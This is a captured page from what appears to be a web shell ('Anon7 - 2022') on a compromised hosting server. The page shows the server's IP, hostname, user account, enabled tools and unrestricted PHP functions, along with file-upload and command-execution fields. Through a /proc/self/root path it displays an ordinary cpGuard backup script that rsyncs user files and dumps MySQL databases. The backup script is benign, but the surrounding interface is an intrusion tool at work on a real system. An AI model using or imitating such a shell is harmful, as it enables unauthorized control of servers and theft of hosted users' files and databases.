SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.94
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cpguard/app/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/opt/cpguard/app/scripts/backup.sh
#!/bin/bash

#set -euo pipefail

# Variables
#DATE=$(date +'%d-%m-%Y')

SRC_FILE="$1"
if [[ -f "$SRC_FILE" ]]; then
    source "$SRC_FILE"
else
    echo "File not found: $SRC_FILE"
    exit 1
fi

SOURCE_DIR="/home/$USERNAME"
CPGUARDX_CNF_DIR="/opt/cpguard/app/data/users/$USERNAME"
TIME=$(date +'%H%M%S')
TIMESTAMP=$(date '+%a %b %d %T %Y')

BACKUP_FILE_DIR="$BACKUP_DIR/files"
BACKUP_DB_DIR="$BACKUP_DIR/databases"
BACKUP_CNF_DIR="$BACKUP_DIR/.conf"


BACKUP_FILE_NAME="$BACKUP_DIR/backup.tar.lz4"

DB_LIST_FILE="$BACKUP_DIR/db_list.txt"


log_info() {
  echo -e "\n\e[32m [backup] \e[0m $1" >> /var/log/backup.log
}


log_warn() {
  echo -e "\n\e[33m [WARN]   \e[0m $1" >> /var/log/backup.log
}

log_error() {
  echo -e "\n\e[31m [ERROR]   $1 \e[0m" >> /var/log/backup.log
  exit "${2:-1}"
}


log_info "Started at $TIMESTAMP"

mkdir -p "$BACKUP_FILE_DIR" "$BACKUP_DB_DIR" "$BACKUP_CNF_DIR" || log_error "Failed to create backup directories" 2


log_info "Running backup for user: $USERNAME"
log_info "Backing up files from $SOURCE_DIR to $BACKUP_DIR"

# List of Linux system files/folders to exclude

EXCLUDE=(
  --exclude=".bash*"
  --exclude=".profile"
  --exclude=".cache"
  --exclude=".ssh"
  --exclude=".local"
  --exclude=".config"
  --exclude=".cloud-locale-test.skip"
  --exclude=".sessions"
  --exclude="logs"
)

# Create file backup

if ! rsync -a "${EXCLUDE[@]}" "$SOURCE_DIR/" "$BACKUP_FILE_DIR"; then
  log_error "File backup failed" 30
fi

# Create cpguardx conf files backup

if ! rsync -a "$CPGUARDX_CNF_DIR/" "$BACKUP_CNF_DIR"; then
  log_error "Configuration backup failed" 40
fi

printf "\n           Status : %s  [Completed] \n" "$SOURCE_DIR" >> /var/log/backup.log


# Create database backup

log_info "Collecting MySQL databases for user $USERNAME"

mysql -N -B -e "SHOW DATABASES LIKE '${USERNAME}\_%';" > "$DB_LIST_FILE"

log_info "Backing up databases to $BACKUP_DIR \n"


# MySQL database backup
while read -r DB_NAME; do
  [[ -z "$DB_NAME" || "$DB_NAME" =~ ^# ]] && continue

  printf "\n           Status : $DB_NAME ">> /var/log/backup.log

  #echo -ne "           Status : $DB_NAME \c"
  if ! mysqldump --single-transaction --quick --lock-tables=false "$DB_NAME" > "$BACKUP_DB_DIR/${DB_NAME}.sql"; then
    printf " [Failed] \n" >> /var/log/backup.log
    log_warn "Some databases failed to dump" 50
  else
    printf " [Completed] \n" >> /var/log/backup.log

  fi
done < "$DB_LIST_FILE"

rm -rf "$DB_LIST_FILE"



compressed() {
  log_info "Compressing backup data"

  sync
  sleep 1

  if ! tar --warning=no-file-changed -cf - -C "$BACKUP_DIR" . | lz4 -q - "$BACKUP_FILE_NAME" 2>> /var/log/backup.log; then
    log_error "Failed to create compressed backup" 5
  fi

  rm -rf "$BACKUP_FILE_DIR" "$BACKUP_DB_DIR" "$BACKUP_CNF_DIR"
}



if [ "$BACKUP_TYPE" = "compressed" ]; then
    compressed
elif [ "$BACKUP_TYPE" = "uncompressed" ]; then
    log_info "Keeping files uncompressed in $BACKUP_DIR"
elif [ "$BACKUP_TYPE" = "incremental" ]; then
    log_info "Incremental backups not configured now"
else
    log_warn "Unknown BACKUP_TYPE: $BACKUP_TYPE — proceeding uncompressed"
fi


log_info "Backup process for user $USERNAME completed"
log_info "Completed at $(date '+%a %b %d %T %Y')"
log_info "Final state is Success"
log_info "========================"

Anon7 - 2022
SCDN GOK